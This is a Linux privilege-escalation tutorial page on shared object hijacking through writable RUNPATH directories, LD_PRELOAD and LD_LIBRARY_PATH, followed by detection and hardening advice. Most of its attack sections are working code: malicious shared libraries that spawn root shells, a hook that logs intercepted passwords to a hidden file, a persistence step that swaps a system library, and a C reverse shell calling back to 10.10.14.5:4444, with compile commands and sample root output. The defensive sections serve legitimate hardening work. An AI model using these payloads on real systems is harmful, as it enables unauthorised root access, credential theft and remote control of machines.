
Shared Object Hijacking: Advanced Linux Privilege Escalation
Technical exploration of shared library hijacking on Linux systems, focusing on RUNPATH exploitation, LD_PRELOAD attacks, and custom library injection techniques.
Introduction
Shared object (SO) hijacking is a sophisticated privilege escalation technique on Linux systems that exploits the dynamic library loading mechanism to execute malicious code with elevated privileges. This attack vector leverages misconfigurations in how binaries locate and load shared libraries, allowing attackers to inject custom code into privileged processes.
Linux programs commonly use dynamically linked shared object libraries (.so files) to avoid code duplication and reduce binary size. Unlike static libraries (.a files) which are compiled directly into the executable, shared libraries are loaded at runtime by the dynamic linker/loader (ld.so). This runtime loading process creates opportunities for exploitation when proper security controls are not implemented.
The attack is particularly dangerous when targeting SETUID/SETGID binaries, which execute with the permissions of the file owner rather than the user who runs them. By hijacking the library loading process, an attacker can escalate from a low-privileged user to root access.
Silent Privilege Escalation
Shared object hijacking is difficult to detect during standard security assessments because it exploits legitimate system functionality. A single writable directory in a library search path or a misconfigured RUNPATH can provide a complete privilege escalation vector without requiring memory corruption or kernel exploits.
Technical Background
Shared Library Architecture
Static vs. Dynamic Libraries
| Type | Extension | Compilation | Runtime Behavior | Security Implications |
|---|---|---|---|---|
| Static | .a | Linked into binary at compile time | Fixed, cannot be altered | Secure from SO hijacking but inflexible |
| Dynamic | .so | Loaded at runtime | Can be substituted | Vulnerable if search paths misconfigured |
Dynamic Linking Process
When a dynamically linked binary executes:
- Program execution begins - Kernel loads the ELF binary
- Dynamic linker invoked -
/lib64/ld-linux-x86-64.so.2(or 32-bit equivalent) takes control - Dependencies resolved - Linker reads binary's ELF headers to identify required libraries
- Library search - Searches predefined paths in specific order (exploitable)
- Library loading - Shared objects loaded into memory
- Symbol resolution - Function addresses resolved and linked
- Execution transfer - Control passed to program's entry point
Library Search Order
The dynamic linker searches for libraries in this priority order:
- RPATH (deprecated, compiled into binary)
- LD_LIBRARY_PATH (environment variable)
- RUNPATH (compiled into binary, can be overridden by LD_LIBRARY_PATH)
- /etc/ld.so.conf (system-wide library configuration)
- Default paths (
/lib,/lib64,/usr/lib,/usr/lib64)
This search order creates multiple exploitation opportunities when an attacker can control earlier paths.
ELF Binary Structure
ELF (Executable and Linkable Format) headers contain critical information for library loading:
// Simplified ELF structure
typedef struct {
unsigned char e_ident[16]; // Magic number and other info
uint16_t e_type; // Object file type
uint16_t e_machine; // Architecture
// ... more fields
} Elf64_Ehdr;
// Dynamic section tags
#define DT_NEEDED 1 // Required library
#define DT_RPATH 15 // Library search path (deprecated)
#define DT_RUNPATH 29 // Library search pathRPATH vs RUNPATH
| Attribute | RPATH | RUNPATH |
|---|---|---|
| Priority | Higher (cannot be overridden) | Lower (LD_LIBRARY_PATH can override) |
| Security | More dangerous | Slightly less dangerous |
| Modern use | Deprecated | Preferred |
| Override | Cannot be overridden by LD_LIBRARY_PATH | Can be overridden by LD_LIBRARY_PATH |
Enumeration Techniques
Identifying SETUID/SETGID Binaries
Find all SETUID binaries:
# Find SETUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find SETGID binaries
find / -perm -2000 -type f 2>/dev/null
# Find both SETUID and SETGID
find / -perm -6000 -type f 2>/dev/null
# Find with detailed output
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/nullExample output:
-rwsr-xr-x 1 root root 16728 Sep 1 22:05 /opt/custom/payroll
-rwsr-xr-x 1 root root 53128 Mar 23 08:15 /usr/bin/passwd
-rwsr-xr-x 1 root root 44464 Mar 23 08:15 /usr/bin/newgrpAnalyzing Binary Dependencies
Using ldd to list shared libraries:
# List all shared library dependencies
ldd /opt/custom/payroll
# Example output:
linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)Key indicators of vulnerability:
- Non-standard library names (
libshared.so,libcustom.so) - Libraries loaded from unusual paths
- Missing libraries (not found)
Check for missing libraries:
# Identify missing libraries
ldd /opt/custom/binary 2>&1 | grep "not found"
# Example:
libcustom.so => not foundInspecting RUNPATH/RPATH Configuration
Using readelf to examine ELF headers:
# Check for RUNPATH or RPATH
readelf -d /opt/custom/payroll | grep -E 'RUNPATH|RPATH'
# Example output:
0x000000000000001d (RUNPATH) Library runpath: [/development]
# Alternative format
0x000000000000000f (RPATH) Library rpath: [/opt/libs:/tmp]Using patchelf to inspect:
# Show RUNPATH
patchelf --print-rpath /opt/custom/payroll
# Show interpreter
patchelf --print-interpreter /opt/custom/payrollCheck directory permissions:
# Verify if RUNPATH directories are writable
ls -la /development/
# Example of vulnerable configuration:
drwxrwxrwx 2 root root 4096 Sep 1 22:06 /development/Identifying Exploitable Functions
Using nm to list symbols:
# List dynamic symbols
nm -D /opt/custom/payroll
# List undefined symbols (external dependencies)
nm -D /opt/custom/payroll | grep "U "
# Example output:
U dbquery
U printf
U setuid
U systemUsing objdump to analyze imports:
# Display dynamic relocations
objdump -R /opt/custom/payroll
# Examine the PLT (Procedure Linkage Table)
objdump -d -j .plt /opt/custom/payrollUsing strings to find function names:
# Extract printable strings
strings /opt/custom/payroll | grep -E '^[a-zA-Z_][a-zA-Z0-9_]*$'
# Look for common exploitable patterns
strings /opt/custom/payroll | grep -i "query\|connect\|auth\|init"Automated Enumeration Scripts
LinPEAS detection:
# Download and run LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
# Look for section: "SUID - Check easy privesc, exploits and write perms"
grep -A 50 "Checking 'sudo -l'" linpeas_output.txtCustom enumeration script:
#!/bin/bash
echo "[*] Searching for vulnerable SETUID binaries with custom libraries..."
# Find SETUID binaries
find / -perm -4000 -type f 2>/dev/null | while read binary; do
echo "[+] Checking: $binary"
# Check dependencies
deps=$(ldd "$binary" 2>/dev/null)
# Look for custom libraries (not in standard paths)
echo "$deps" | grep -v "/lib/" | grep -v "/usr/lib/" | grep "=>"
# Check for RUNPATH
runpath=$(readelf -d "$binary" 2>/dev/null | grep -E "RUNPATH|RPATH")
if [ ! -z "$runpath" ]; then
echo "[!] RUNPATH/RPATH found:"
echo "$runpath"
# Extract path and check permissions
path=$(echo "$runpath" | grep -oP '(?<=\[)[^\]]+')
if [ -d "$path" ] && [ -w "$path" ]; then
echo "[!!!] WRITABLE RUNPATH: $path"
fi
fi
echo ""
doneRUNPATH Exploitation
Attack Scenario
RUNPATH exploitation occurs when:
- A SETUID binary has a RUNPATH pointing to a writable directory
- The binary loads a shared library from this path
- An attacker can write a malicious library to the RUNPATH directory
- The malicious library is loaded before system libraries
Step-by-Step Exploitation
Identify vulnerable binary
# Check SETUID binary
ls -la /opt/custom/payroll
-rwsr-xr-x 1 root root 16728 Sep 1 22:05 /opt/custom/payroll
# Verify RUNPATH
readelf -d /opt/custom/payroll | grep RUNPATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
# Check directory permissions
ls -la /development/
drwxrwxrwx 2 root root 4096 Sep 1 22:06 /development/Identify required library and function
# Check library dependencies
ldd /opt/custom/payroll
linux-vdso.so.1 => (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0c12d28000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)
# Create dummy library to test
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
# Run binary to identify missing function
./payroll
./payroll: symbol lookup error: ./payroll: undefined symbol: dbqueryCreate malicious shared library
// malicious_lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Constructor attribute - executed when library is loaded
__attribute__((constructor))
void init() {
printf("[*] Malicious library loaded\n");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
// Implement the expected function to avoid errors
void dbquery() {
printf("Malicious dbquery() function called\n");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
// Alternative: Hook common functions
int printf(const char *format, ...) {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}Compile malicious library
# Compile as shared library
gcc -fPIC -shared -o /development/libshared.so malicious_lib.c -nostartfiles
# Alternative with specific function
gcc -fPIC -shared -o /development/libshared.so malicious_lib.c
# Verify compilation
file /development/libshared.so
/development/libshared.so: ELF 64-bit LSB shared object, x86-64
# Check exported symbols
nm -D /development/libshared.so | grep dbquery
00000000000011a9 T dbqueryExecute vulnerable binary
# Run the SETUID binary
./payroll
# Expected output:
***************Inlane Freight Employee Database***************
[*] Malicious library loaded
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1000(user)
bash-5.0# whoami
rootAdvanced RUNPATH Techniques
Multi-function library hijacking:
// advanced_hijack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
// Function pointers to original functions
static void *(*original_malloc)(size_t) = NULL;
static void (*original_free)(void *) = NULL;
// Constructor - runs before main()
__attribute__((constructor))
void setup() {
unsetenv("LD_PRELOAD"); // Clean environment
setuid(0);
setgid(0);
}
// Implement all expected functions from original library
void dbquery() {
printf("Database query intercepted\n");
system("/bin/bash -p");
}
void connect_db(const char *host) {
printf("Database connection to %s intercepted\n", host);
setuid(0);
system("/bin/bash -p");
}
void authenticate(const char *user, const char *pass) {
printf("Authentication attempt intercepted: %s:%s\n", user, pass);
// Log credentials for later use
FILE *f = fopen("/tmp/.creds", "a");
fprintf(f, "%s:%s\n", user, pass);
fclose(f);
// Grant root access
setuid(0);
system("/bin/bash -p");
}Persistence through library replacement:
# Backup original library
cp /lib/x86_64-linux-gnu/libshared.so /lib/x86_64-linux-gnu/libshared.so.bak
# Replace with malicious version
cp /tmp/malicious.so /lib/x86_64-linux-gnu/libshared.so
# Set same permissions and ownership
chown root:root /lib/x86_64-linux-gnu/libshared.so
chmod 644 /lib/x86_64-linux-gnu/libshared.so
# Update library cache
ldconfigLD_PRELOAD Exploitation
Understanding LD_PRELOAD
The LD_PRELOAD environment variable specifies shared libraries to be loaded before all others, allowing function interception and replacement.
Security mechanisms:
- Ignored for SETUID/SETGID binaries (with exceptions)
- Can be allowed via
/etc/sudoersconfiguration - Works when user has sudo privileges with
env_keep+=LD_PRELOAD
Checking for LD_PRELOAD Privileges
# Check sudo privileges
sudo -l
# Look for these indicators:
# env_reset
# env_keep+=LD_PRELOAD
# Example vulnerable configuration:
Matching Defaults entries for user on target:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User user may run the following commands on target:
(root) NOPASSWD: /usr/bin/apache2LD_PRELOAD Exploitation Techniques
Technique 1: Basic LD_PRELOAD Escalation
// preload_root.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}Compile and execute:
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload_root.c
# Execute with LD_PRELOAD
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/apache2
# Alternative: Any binary
sudo LD_PRELOAD=/tmp/preload.so /bin/lsTechnique 2: Function Hooking
// hook_functions.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
// Hook getuid() to always return 0 (root)
uid_t getuid(void) {
return 0;
}
// Hook access() to always return success
int access(const char *pathname, int mode) {
return 0;
}
// Hook open() to intercept file operations
int open(const char *pathname, int flags) {
int (*original_open)(const char*, int);
// Get original function
original_open = dlsym(RTLD_NEXT, "open");
// Log all file opens
FILE *log = fopen("/tmp/opens.log", "a");
fprintf(log, "Open: %s\n", pathname);
fclose(log);
// Call original function
return original_open(pathname, flags);
}Technique 3: Reverse Shell via LD_PRELOAD
// revshell_preload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
void _init() {
unsetenv("LD_PRELOAD");
int sockfd;
struct sockaddr_in server;
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr = inet_addr("10.10.14.5");
// Connect to attacker
connect(sockfd, (struct sockaddr *)&server, sizeof(server));
// Redirect stdin, stdout, stderr
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
// Execute shell
setuid(0);
setgid(0);
execve("/bin/bash", NULL, NULL);
}Execute:
# Start listener on attacker machine
nc -lvnp 4444
# On target
gcc -fPIC -shared -nostartfiles -o /tmp/revshell.so revshell_preload.c
sudo LD_PRELOAD=/tmp/revshell.so /usr/bin/findLD_LIBRARY_PATH Exploitation
When LD_LIBRARY_PATH is Exploitable
Check for sudo privileges:
sudo -l
# Vulnerable configuration:
env_keep+=LD_LIBRARY_PATH
User user may run the following commands on target:
(root) NOPASSWD: /opt/proprietary/script.shExploitation Technique
Identify script's library dependencies
# Analyze the script
cat /opt/proprietary/script.sh
#!/bin/bash
/usr/bin/custom_binary
/usr/bin/logger "Script executed"
# Check dependencies
ldd /usr/bin/custom_binary
linux-vdso.so.1 (0x00007ffeff9f1000)
libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f8c4e200000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8c4de00000)Create malicious library
// libcrypto.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
unsetenv("LD_LIBRARY_PATH");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
// Implement expected functions to avoid crashes
void OPENSSL_init_crypto() {}
void EVP_EncryptInit() {}Compile and execute
# Compile
gcc -fPIC -shared -o /tmp/libcrypto.so.1.1 libcrypto.c
# Execute with modified LD_LIBRARY_PATH
sudo LD_LIBRARY_PATH=/tmp /opt/proprietary/script.sh
# Result: Root shellDetection and Prevention
Detecting Shared Object Hijacking
Audit SETUID binaries for RUNPATH:
#!/bin/bash
# audit_runpath.sh
echo "[*] Auditing SETUID binaries for RUNPATH vulnerabilities..."
find / -perm -4000 -type f 2>/dev/null | while read binary; do
runpath=$(readelf -d "$binary" 2>/dev/null | grep -E "RUNPATH|RPATH" | grep -oP '(?<=\[)[^\]]+')
if [ ! -z "$runpath" ]; then
echo "[!] RUNPATH found: $binary -> $runpath"
# Check if writable
if [ -w "$runpath" ]; then
echo "[!!!] VULNERABLE: $runpath is writable!"
fi
fi
doneMonitor library loading:
# Use auditd to monitor library loads
auditctl -w /lib -p wa -k library_modification
auditctl -w /usr/lib -p wa -k library_modification
auditctl -w /lib64 -p wa -k library_modification
# Review audit logs
ausearch -k library_modificationDetect LD_PRELOAD abuse:
# Monitor environment variables in sudo commands
auditctl -a always,exit -F arch=b64 -S execve -C uid!=euid -F key=sudo_escalation
# Check sudo configuration
grep -r "env_keep.*LD_PRELOAD" /etc/sudoers /etc/sudoers.d/
# Alert on suspicious patterns
grep "LD_PRELOAD" /var/log/auth.logPreventive Measures
1. Remove writable RUNPATH directories:
# Identify binaries with RUNPATH
find / -type f -executable -exec readelf -d {} \; 2>/dev/null | grep RUNPATH
# Remove RUNPATH using patchelf
patchelf --remove-rpath /opt/custom/binary
# Or recompile without RUNPATH
gcc -o binary binary.c # Without -Wl,-rpath2. Secure sudo configuration:
# Edit /etc/sudoers
visudo
# Remove dangerous env_keep directives
# REMOVE: env_keep+=LD_PRELOAD
# REMOVE: env_keep+=LD_LIBRARY_PATH
# Add secure_path
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Reset environment by default
Defaults env_reset3. Use absolute paths in SETUID binaries:
// Insecure
system("ls -la");
// Secure
system("/bin/ls -la");
// Most secure - avoid system() entirely
execve("/bin/ls", args, env);4. Implement library validation:
// Validate library integrity before loading
#include <openssl/sha.h>
int verify_library(const char *lib_path) {
unsigned char expected_hash[SHA256_DIGEST_LENGTH] = { /* known good hash */ };
unsigned char calculated_hash[SHA256_DIGEST_LENGTH];
// Calculate hash of library file
// Compare with expected hash
// Return 0 if match, -1 if mismatch
}5. Enable SELinux/AppArmor:
# SELinux: Restrict library loading
# Create policy to restrict LD_PRELOAD
# AppArmor profile example
cat > /etc/apparmor.d/opt.custom.payroll << 'EOF'
#include <tunables/global>
/opt/custom/payroll {
#include <abstractions/base>
# Deny LD_PRELOAD
deny /tmp/** mrwlk,
deny /dev/shm/** mrwlk,
# Allow only system libraries
/lib/** mr,
/usr/lib/** mr,
# Deny RUNPATH abuse
deny /development/** mrwlk,
}
EOF
# Load profile
apparmor_parser -r /etc/apparmor.d/opt.custom.payroll6. Restrict directory permissions:
# Ensure library directories are not writable
chmod 755 /lib /lib64 /usr/lib /usr/lib64
# Audit all world-writable directories
find / -type d -perm -002 ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null
# Remove world-write permission from custom library paths
chmod 755 /developmentSecurity Hardening Checklist
- Audit all SETUID/SETGID binaries for RUNPATH/RPATH
- Remove or secure writable RUNPATH directories
- Disable LD_PRELOAD in /etc/sudoers
- Implement secure_path in sudoers configuration
- Enable SELinux/AppArmor with library loading restrictions
- Monitor library modifications with auditd
- Use absolute paths in system() calls
- Regularly scan for new SETUID binaries
- Implement file integrity monitoring (AIDE, Tripwire)
- Review and minimize sudo privileges
Verification and Testing
Test for RUNPATH vulnerability:
# Controlled test environment
mkdir /tmp/test_runpath
chmod 777 /tmp/test_runpath
# Create test binary with RUNPATH
cat > test.c << 'EOF'
#include <stdio.h>
void custom_function();
int main() {
custom_function();
return 0;
}
EOF
# Create library
cat > libcustom.c << 'EOF'
#include <stdio.h>
void custom_function() {
printf("Custom library function\n");
}
EOF
# Compile with RUNPATH
gcc -fPIC -shared -o /tmp/test_runpath/libcustom.so libcustom.c
gcc -o test test.c -L/tmp/test_runpath -lcustom -Wl,-rpath,/tmp/test_runpath
# Verify RUNPATH
readelf -d test | grep RUNPATH
# Test library loading
./testVerify sudo security:
# Check for dangerous environment variables
sudo -l | grep -E "env_keep.*LD_"
# Test if LD_PRELOAD is honored
echo 'void _init() { system("echo VULNERABLE"); }' > test.c
gcc -fPIC -shared -nostartfiles -o test.so test.c
sudo LD_PRELOAD=./test.so id 2>&1 | grep VULNERABLEReferences
MITRE ATT&CK Techniques
- T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking - LD_PRELOAD and RPATH abuse
- T1574 - Hijack Execution Flow - Parent technique
- T1055.009 - Process Injection: Proc Memory - Related injection technique
Linux Documentation
- Linux Programmer's Manual: ld.so(8) - Dynamic linker/loader
- Linux Manual: dlopen(3) - Dynamic library loading
Security Resources
- HackTricks: LD_PRELOAD - Exploitation techniques
- Red Hat: Understanding shared libraries - Library security
Next Steps
If shared object hijacking vulnerabilities are identified:
- Immediately audit all SETUID binaries for RUNPATH/RPATH configurations
- Remove or secure writable directories in library search paths
- Review and harden /etc/sudoers configuration
- Implement SELinux or AppArmor mandatory access controls
- Deploy file integrity monitoring for critical binaries and libraries
- Conduct regular privilege escalation assessments
- Explore related Linux privilege escalation techniques:
Takeaway: Shared object hijacking represents a subtle but powerful privilege escalation vector on Linux systems. The combination of removing RUNPATH from SETUID binaries, hardening sudo configuration, implementing mandatory access controls, and continuous monitoring provides comprehensive defense against this attack class. Make library security a critical component of your Linux hardening program, as misconfigurations in this area can provide silent privilege escalation paths that bypass traditional security controls.
Last updated on
Python Library Hijacking
Comprehensive guide to Python library hijacking for privilege escalation, covering module permissions abuse, PYTHONPATH manipulation, and library path exploitation.
Linux Privilege Escalation via SUDO Misconfigurations
Linux sudo misconfiguration exploitation including command injection, wildcard abuse, environment variable manipulation, and privilege escalation techniques.